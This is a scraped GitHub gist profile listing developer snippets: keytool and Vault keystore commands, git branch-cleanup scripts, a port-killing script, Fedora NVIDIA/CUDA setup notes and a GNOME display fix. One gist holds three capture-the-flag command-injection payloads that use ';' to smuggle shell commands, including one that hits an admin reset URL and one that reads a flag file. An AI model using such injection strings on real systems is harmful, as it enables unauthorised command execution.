Skip to content

Instantly share code, notes, and snippets.

View p-karanthaker's full-sized avatar
🎯
Focusing

Karan Thaker p-karanthaker

🎯
Focusing
View GitHub Profile

Keybase proof

I hereby claim:

  • I am p-karanthaker on github.
  • I am karant (https://keybase.io/karant) on keybase.
  • I have a public key whose fingerprint is AA7C 507B 439B EF98 866F 20D3 1B45 81A1 65E1 4D64

To claim this, I am signing this object:

@p-karanthaker
p-karanthaker / keystore-base64.txt
Last active October 7, 2020 10:19
Base64 encode an entire keystore to store within Hashicorp Vault kv store
Creating a keystore with a keypair:
keytool -genkeypair -alias boguscert -storepass storePassword -keypass secretPassword -keystore emptyStore.keystore -dname "CN=Developer, OU=Department, L=City, ST=State, C=CA"
Deleting a keypair to make an empty keystore:
keytool -delete -alias boguscert -storepass storePassword -keystore emptyStore.keystore
Listing the keystore:
keytool -list -keystore emptyStore.keystore -storepass storePassword
Base64 encode the keystore (this can be stored within Vault):
@p-karanthaker
p-karanthaker / java_keytool_cheat_sheet.md
Created October 16, 2020 11:15 — forked from Hakky54/java_keytool_cheat_sheet.md
Some list of keytool commands for create, check and verify your keys

Keytool

Creation and importing

Generate a Java keystore and key pair

keytool -keystore keystore.jks -genkeypair -keyalg RSA -keysize 2048 -alias server -validity 3650 -deststoretype pkcs12 

Generate a Java keystore and key pair and include Distinguished Name as one-liner and the Extensions

@p-karanthaker
p-karanthaker / local-branch-delete.sh
Last active November 16, 2020 10:10
Deletes local git branches that are not on remote.
git fetch -p && for branch in $(git for-each-ref --format '%(refname) %(upstream:track)' refs/heads | awk '$2 == "[gone]" {sub("refs/heads/", "", $1); print $1}'); do git branch -D $branch; done
@p-karanthaker
p-karanthaker / kill-porthog.sh
Last active May 16, 2021 20:24
Kills the process which is using a given port
#!/bin/bash
re='^[0-9]+$'
if ! [[ $1 =~ $re ]] ; then
echo "error: Port must be a number" >&2; exit 1
fi
pids=( $(sudo lsof -ti:$1) )
if [[ ! -z "$pids" ]]
then
@p-karanthaker
p-karanthaker / pull-all-heads.sh
Last active May 16, 2021 19:41
Pulls the HEAD branch of all git repos in a directory and deletes branches which are no longer on remote
for gitDir in *; do
headBranch=$(git -C "$gitDir" symbolic-ref --short HEAD)
git -C "$gitDir" checkout "$headBranch"
git -C "$gitDir" pull
for branch in $(git -C "$gitDir" for-each-ref --format '%(refname) %(upstream:track)' refs/heads | awk '$2 == "[gone]" {sub("refs/heads/", "", $1); print $1}'); do
git branch -D $branch
done
done

FWIW: I'm not the author of the content presented here (which is an outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.


Effective Engineer - Notes

What's an Effective Engineer?

@p-karanthaker
p-karanthaker / f35-nvidia-cuda.md
Last active May 4, 2023 14:43
Fedora 35 NVIDIA/CUDA Installation for TensorFlow

Fedora 35 NVIDIA/CUDA Installation for TensorFlow

These are the steps I took for the installation of the NVIDIA drivers and CUDA toolkit for use with TensorFlow on Fedora 35. I have documented them since I had a lot of difficulty getting it to work and couldn't boot to a graphical desktop a few times. These steps worked for me, hopefully they do for others.

Assumptions

I am running on a 64 bit system and used KDE Plasma with X11 so these instructions may differ for people using GNOME, Wayland and any other combinations.

Pre-requisites

  • If you have installed any NVIDIA drivers other than the akmod-nvidia drivers from the @rpmfusion-nonfree repo, remove them completely.
  • Remove any other NVIDIA/CUDA installations. Find them with sudo dnf list installed | egrep '(nvidia|cuda)'
  • If the nvidia-driver module is enabled, disable it - sudo dnf module disable nvidia-driver - this caused me issues when trying to install the akmod drivers
; ls -la / echo;
; curl "https://login.oasc.ctf.infosec.amazon.dev/reset?user=admin" -v;
; cat /sup3r-0bscuR3-n@m3-0f_TH3_fl4g.txt;
2
3
@p-karanthaker
p-karanthaker / gnome-second-display-disabled.md
Last active March 1, 2023 10:29
Pop!_OS / GNOME second display disabled after suspend and wake

Pop!_OS / GNOME second display disabled after suspend and wake

I've found that my second display often becomes disabled or mirrored after waking my pc from suspend when using the GNOME desktop environment.

My workaround is to restart the GNOME shell using ALT+F2 and then typing r and hitting return.